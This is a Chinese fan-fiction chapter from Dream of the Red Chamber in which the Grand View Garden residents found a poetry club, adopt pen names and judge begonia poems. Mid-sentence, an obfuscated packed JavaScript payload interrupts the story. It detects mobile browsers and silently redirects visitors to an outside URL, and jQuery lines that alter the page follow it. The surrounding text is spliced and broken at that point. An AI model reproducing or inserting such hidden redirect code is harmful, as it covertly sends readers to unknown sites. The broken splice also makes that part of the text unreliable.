秋爽斋院落排布整齐,院里外种了一色芭蕉,屋角更有清脆琐碎的梧桐树叶声。探春喜欢房屋开阔,故而三间屋子不曾隔断,只用雕花屏风分开。一排黄花梨柜橱,正中放着大理石大案,上面累着许多名人字帖放置各式砚台,笔海满满当当,还摆着许多账本。
探春笑着把过往的诗词誊写出来,任凭众人翻阅,“我早就想着做这个了,奈何常有事务缠身。这几日落得清闲,干脆开起来,不曾想发一张来一个,正好有人作诗有人抄录。”宝玉笑道:“这倒是个正经事儿。我们奉命住进来,娘娘也好交差。”众人都说很是。
“哈哈哈哈,你们看谁来了?哎哟,这不赶了巧,我听说你们爱作诗,平日都不得空,今儿倒是来一睹风采了!”
外头的人正是凤姐,她牵着湘云来了。宝玉抚掌笑道:“好啦好啦,这诗王来了,咱们继续大战三百回合,快取了青梅酒来!”湘云毫不客气地说道:“你哪里是我的对手,叫姐姐们来,我才佩服呢!”李纨点点她的额头道:“你这小丫头,便是三个我也奈何不得呢!”
黛玉道:“起了诗社来,我们便把这些姐姐妹妹哥哥嫂嫂改了,只当是文坛学士了。”李纨本就是清流人士,说道:“甚好,起个号更秒,我便是稻香老农了。”探春笑道:“只管记下,我是那起社的秋爽居士,别号蕉下客。”黛玉道:“旁人都是一个名儿,偏生你要两个。”探春看着黛玉笑道:“我非要两个,你只管叫我蕉下客便是。你不说我还没记起来,我早给你想了个美名儿。”众人见她神秘,忙问是什么,探春笑道:“各处都拿居所来起名儿,我想着一句:暮云秋影蘸潇湘。她又是个爱落泪的绝色美人儿,便叫潇湘妃子吧!”
黛玉浅笑,拉着探春道:“你倒是好巧思,待会不论如何也投你的好。”原来那一句词的上半句,正好有黛玉的名讳。宝玉忽地拍手道:“哎,我有了一个。我住在怡红院,如此,就叫怡红公子吧!”湘云哪里藏得住心思,止不住地看着两个人笑,黛玉听了只拉着探春说话。
李纨看着宝钗道:“我也有个合适你的,莫过于蘅芜君最为适配。”宝钗连连点头,说道:“很是,我倒是喜欢这样的。”迎春向来不爱思考这些,见众人看过来忙道:“我便叫菱洲。”惜春立马跟上喊道:“那我便是藕榭。”二人相视一笑,转头去看今天作诗的主角儿了。
湘云吐吐舌头,有些焦急道:“你们都要有了,我还想不出呢!”宝玉指了指凤姐道:“不着急,女中豪杰还没出呢!”湘云思索半天笑道:“有了,我近来听得一句,青溪卜筑枕流霞。既然如此,你们就叫我枕霞旧友吧。”凤姐也笑道:“我小时候充当男儿教养的,便认我为凰才子吧!”宝玉拍手笑道:“果真是豪杰!”
探春早叫人搬了海棠花摆了一院子,各色的海棠看得惜春喜不自胜,忙叫彩屏快回去讨了画笔来,“藕榭今日暂退诗社,改入画社了。”探春笑道:“你先别退,我先给诗社改个名儿。”她想了想说道:“咱们起社万万不能拘于单一的,爱诗词爱画画不都是各花入各眼了?总归是咱们自家人做来解闷儿的,便只管都叫文社。二嫂子要是拿算盘来数我花了多少钱买来这么些海棠也是好的,我们便全记下来,好叫老太太知道,姑娘们没有白吃饭,也看看平日里都学了什么。”
凤姐笑起来,故作生气去拧她的脸:“三姑娘这番话说的极好,只有一点,怎得夸别人就是作诗啊作画啊有一手好字啊,在我这儿却是拿算盘了?罢罢罢,我向来是个俗人,今日什么也不做,就数数这会用了多少钱,回头算出来给三姑娘上报呢!”黛玉道:“了不得了,这可撞个正着,她平日就是离不开珠算的,合该叫她去写字的。”
李纨笑道:“真是个促狭鬼,她字都认不得几个!”凤姐哪里会饶她,直奔黛玉过来,见着宝玉挡在前面道:“宝兄弟,你今儿可不能护着她,她和大嫂子挤兑我呢!”宝玉只嘿嘿笑,李纨则道:“乱出主意的人哪里是我,你定是听错了。”
凤姐追着黛玉李纨往外面走,转身撞到迎春,二姑娘正细嗅一枝粉白的西府海棠,眉眼中全是温柔。她被撞了也不见惊慌,稳了稳凤姐的手臂,淡定离开。凤姐摸着下巴盯着她看了几眼,黛玉拿着绣花团扇走来问道:“菱洲怎么了?”凤姐道:“你二姐姐如今也大了。”黛玉笑道:“我还以为她欠了你什么呢!”凤姐立刻擒住她的腕子,笑道:“呵呵,潇湘妃子可给凰才子逮住了吧!”
黛玉惊了一跳,稍微反抗便有凤姐握住手往另一边走,“我才见了一枝垂丝生得好,这会子陪我看一番便放过你。”黛玉哪有不依的,默默跟着她去。宝玉四处寻不到黛玉急得团团转,正好院里的婆子来禀报外面有族亲来了。
宝玉心里一寻思,许是送海棠花的贾芸,他拍拍袖子道:“只管叫他进来,我即刻就去。”他回头拉住一个丫头道:“见着你林姑娘没?”那姑娘笑道:“林姑娘和琏二奶奶往那边去了。”宝玉心想:姑父名讳中有一个字和花儿撞了,林妹妹许是为了避开。他道:“若是她们说什么,你就告诉我。”
贾芸早等在门口守着了,他见戴了金项圈璎珞的宝玉立刻就见礼:“请宝叔安。”宝玉笑道:“我认得你,与家里有亲的。你这是来送花儿了?”贾芸道:“前儿听得姑娘们要些花草,我听了一耳朵,偶然知晓了一种白海棠,想尽方法得了两盆送来。您要是不嫌弃便叫人抬去把玩一会,我便心满意足了。”宝玉早知道他能力不错,可惜是远亲没人理,他暗暗叹气:“自家的孩子都有看不到的,更何况远亲呢!可这贾芸能力出众,留在身边出入也好。”
宝玉听了他的话心里很满意,笑道:“咱们有缘,可巧今儿园里有事儿,你可帮了忙。她们若是喜欢,改日还要找你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380516|196609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呢!”贾芸听出来意思,感激拱手作势要拜,宝玉扶着他道:“现在还早呢,要是有好的活计差不了你的。”宝玉叫人把花送去,自己又和贾芸说了会话才叫他回去,心里止不住地寻思着怎么和凤姐提起这回事。
侍书备下纸笔点起一炷香,迎春道:“这支香与平常的不同,倘若有了便在燃尽前写下,也好评判。”她执笔笑道:“我可是先有一个。”探春低头沉思,不多时便提笔写了,李纨宝钗湘云也各自写诗再誊抄。
宝玉一进来就看见众人都在,只凤姐和黛玉还在外面赏花。眼见着燃了一半了,宝玉忙把纸铺平笔摆好,自己另外拿过一份纸笔赶紧写起来。写完来不及松快,他便找黛玉说道:“你瞧见刚才来的那两盆没?外边来说是极好的,待会这边完了就叫人送去给老太太鉴赏,看是不是真的好。”
黛玉看了两眼,咬着手指没说话,等到其他人都开始评阅了才走到宝玉设好的纸笔处一挥而就。宝玉小心拿起笑着递给探春,这便是他魂牵梦萦的诗句之一,林妹妹好才情!
探春看罢笑道:“这各有各的好,我也不能只凭自个喜好来,如此便看大家的意思来选吧!我给潇湘妃子投,怡红公子最末。”宝玉叹道:“哎呀怎么还选最末的,我只搬来了好花,没能写出好诗来。”湘云道:“哼哼,我也不知道我的有没有人选。”宝钗笑道:“还有我呢,我选你的。”
湘云苦着脸为难道:“宝姐姐的含蓄大方,林姐姐的风流别致,我实在选不出来了!”宝玉悄悄凑近道:“论新奇可只有你林姐姐啊!”湘云拍板道:“我倒是觉得我的最好,我选我自己的!”迎春拿着黛玉的诗词看了,只说道:“我喜欢这首,偏她的心思和旁人是不一样的。”惜春想了想,说道:“我不爱这些,可是海棠花难得描出梨花那样的白色,倒是给我启发了。”
黛玉看凤姐坐在旁边嗑瓜子一派清闲模样,问道:“凰才子,你觉得哪首贵重些便指出来吧!”凤姐笑起来,叹着气说道:“哎呀哎呀,我哪里知道什么盆魂痕昏的,只一首有了西子和画栏的,许是要花钱的。”黛玉笑起来说道:“偏你两是公子才子,志趣相投了!”
宝玉忙上前握住凤姐的手臂,眼眶含泪:“天下怎得有人同我一般有如此好品味,想来她们都看错了,我怡红公子的诗才是第一呢!”凤姐惊道:“怎得是你的?我以为是她们几个的,再不济也应该是藕榭的画儿吧。我记得,画上都要提字的呀!”
众人都笑起来,湘云抱着宝钗笑得哎哟哎哟,嚷嚷着肚子疼。迎春搂着笑得东倒西歪的惜春道:“好了,这会子都出来了,潇湘妃子当属第一。”宝玉还在强制品鉴,凤姐忙道:“你满意了没,我可不能再和你吵闹了。这纸笔本来能卖个好价钱,你写了诗减去一半份例,再泼了墨就卖不出去了。”
宝玉笑着松手,说道:“评的有理。”